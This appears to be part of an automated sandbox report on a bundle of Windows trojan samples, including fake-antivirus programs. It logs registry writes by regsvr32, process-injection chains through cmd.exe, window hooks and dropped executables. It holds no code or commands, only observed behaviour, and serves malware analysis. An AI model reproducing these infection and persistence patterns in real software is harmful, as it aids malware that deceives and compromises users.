Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE32-8596-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2334D2B1-713E-11CF-8AE5-00AA00C00905}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6B7E6392-850A-101B-AFC0-4210102A8DA7}\1.3\FLAGS	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ListViewCtrl.2	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BDD1F04B-858B-11D1-B16A-00C0F0283628}\ProgID\ = "MSComctlLib.ListViewCtrl.2"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DD9DA662-8594-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6B7E6391-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C787A52-E01C-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A3-850A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\ToolboxBitmap32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.Slider\CLSID\ = "{F08DF954-8592-11D1-B16A-00C0F0283628}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04C-858B-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}\2.0\HELPDIR\	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ImageListCtrl	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{35053A22-8589-11D1-B16A-00C0F0283628}\InprocServer32\ThreadingModel = "Apartment"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{62823C20-41A3-11CE-9E8B-0020AF039CA3}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BDD1F04B-858B-11D1-B16A-00C0F0283628}\MiscStatus\1	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C27CCE32-8596-11D1-B16A-00C0F0283628}\InprocServer32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C74190B8-8589-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories\{40FC6ED5-2438-11CF-A3DB-080036F12502}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider\CLSID	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{7791BA60-E020-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\Version	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\ProgID\ = "MSComctlLib.ImageComboCtl.2"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\Programmable	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\Control	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000}\Implemented Categories\{40FC6ED4-2438-11CF-A3DB-080036F12502}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TreeCtrl\CLSID\ = "{C74190B6-8589-11D1-B16A-00C0F0283628}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{35053A22-8589-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DD9DA664-8594-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\InprocServer32\ = "c:\\windows\\comctl32.ocx"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.TabStrip\CLSID	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E8A5-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D94-9D6A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\Control	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider.1\ = "Microsoft Slider Control, version 5.0 (SP2)"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6B7E6392-850A-101B-AFC0-4210102A8DA7}	C:\Windows\SysWOW64\regsvr32.exe	N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of SendNotifyMessage

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	\??\c:\windows\antivirus-platinum.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 788 wrote to memory of 2736	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe	C:\Windows\system32\cmd.exe
PID 788 wrote to memory of 2736	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe	C:\Windows\system32\cmd.exe
PID 788 wrote to memory of 2736	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe	C:\Windows\system32\cmd.exe
PID 788 wrote to memory of 2736	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe	C:\Windows\system32\cmd.exe
PID 2736 wrote to memory of 2756	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2736 wrote to memory of 2756	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2736 wrote to memory of 2756	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2736 wrote to memory of 2728	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2736 wrote to memory of 2728	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2736 wrote to memory of 2728	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2736 wrote to memory of 2728	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 2736 wrote to memory of 2712	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2736 wrote to memory of 2712	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2736 wrote to memory of 2712	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2836	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 2736 wrote to memory of 2260	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2736 wrote to memory of 2260	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2736 wrote to memory of 2260	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2836 wrote to memory of 2492	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2492 wrote to memory of 2536	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 2492 wrote to memory of 2536	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 2492 wrote to memory of 2536	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 2492 wrote to memory of 2536	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1296	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1776	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2536 wrote to memory of 1840	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 2536 wrote to memory of 1840	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 2536 wrote to memory of 1840	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 2536 wrote to memory of 1840	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 2536 wrote to memory of 2480	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 2536 wrote to memory of 2480	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 2536 wrote to memory of 2480	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 2536 wrote to memory of 2480	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 2736 wrote to memory of 1224	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2736 wrote to memory of 1224	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 2736 wrote to memory of 1224	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
